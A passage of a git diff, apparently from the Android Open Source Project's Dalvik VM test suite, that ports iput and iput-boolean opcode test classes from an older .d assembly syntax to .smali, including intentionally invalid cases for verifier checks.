+# limitations under the License.
+
+.source "T_iput_31.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_31;->st_i1:I
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d
deleted file mode 100644
index f324be4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_4.java
-.class public dot.junit.opcodes.iput.d.T_iput_4
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput v3, v2, dot.junit.opcodes.iput.d.T_iput_4.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali
new file mode 100644
index 0000000..04fada5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_4.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput v3, v2, Ldot/junit/opcodes/iput/d/T_iput_4;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d
deleted file mode 100644
index c34dbac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_5.java
-.class public dot.junit.opcodes.iput.d.T_iput_5
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)V
-.limit regs 3
-
-       iput v2, v1, dot.junit.opcodes.iput.d.T_iput_5.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali
new file mode 100644
index 0000000..99afedb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_5.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       iput v2, v1, Ldot/junit/opcodes/iput/d/T_iput_5;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d
deleted file mode 100644
index af7b003..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_7.java
-.class public dot.junit.opcodes.iput.d.T_iput_7
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_7.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali
new file mode 100644
index 0000000..912bba0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_7.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_7;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d
deleted file mode 100644
index 6c1ed20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_8.java
-.class public dot.junit.opcodes.iput.d.T_iput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-      new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
-      invoke-direct {v0}, dot/junit/opcodes/iput/TestStubs/<init>()V
-
-       const v1, 0
-       iput v1, v0, dot.junit.opcodes.iput.TestStubs.TestStubField I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali
new file mode 100644
index 0000000..f638322
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_8.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+      new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+      invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 0
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d
deleted file mode 100644
index 7c7d755..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_9.java
-.class public dot.junit.opcodes.iput.d.T_iput_9
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_9noclass.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali
new file mode 100644
index 0000000..762d440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_9.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_9noclass;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d
deleted file mode 100644
index 47ee9dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_1.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1
-.super java/lang/Object
-
-.field public  st_i1 Z
-.field protected  st_p1 Z
-.field private  st_pvt1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()Z
-.limit regs 2
-
-       iget-boolean v0, v1, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_pvt1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali
new file mode 100644
index 0000000..ce80fd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_1.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+.field protected  st_p1:Z
+.field private  st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d
deleted file mode 100644
index 77f762a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_10.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_10
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_10.st_i1N Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali
new file mode 100644
index 0000000..d6bb024
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_10.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d
deleted file mode 100644
index 9f8d148..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_11.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/TestStubs/<init>()V
-
-       const v1, 1
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.TestStubs.TestStubFieldFinal Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali
new file mode 100644
index 0000000..8f1577e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_11.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d
deleted file mode 100644
index 327fef6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_12.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_12
-.super java/lang/Object
-
-.field public  final st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_12.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali
new file mode 100644
index 0000000..e7551d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_12.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d
deleted file mode 100644
index cbe6560..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_13.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_13
-.super java/lang/Object
-
-.field public  st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 1
-       iput-boolean v1, v0, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_13.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali
new file mode 100644
index 0000000..dd5c4c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_13.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d
deleted file mode 100644
index 8a7f23e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_boolean_14.java
-.class public dot.junit.opcodes.iput_boolean.d.T_iput_boolean_14
-.super dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()Z
-.limit regs 2
-
-       iget-boolean v0, v1, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_p1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-boolean v1, v2, dot.junit.opcodes.iput_boolean.d.T_iput_boolean_1.st_p1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali
new file mode 100644
index 0000000..7bd8edd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
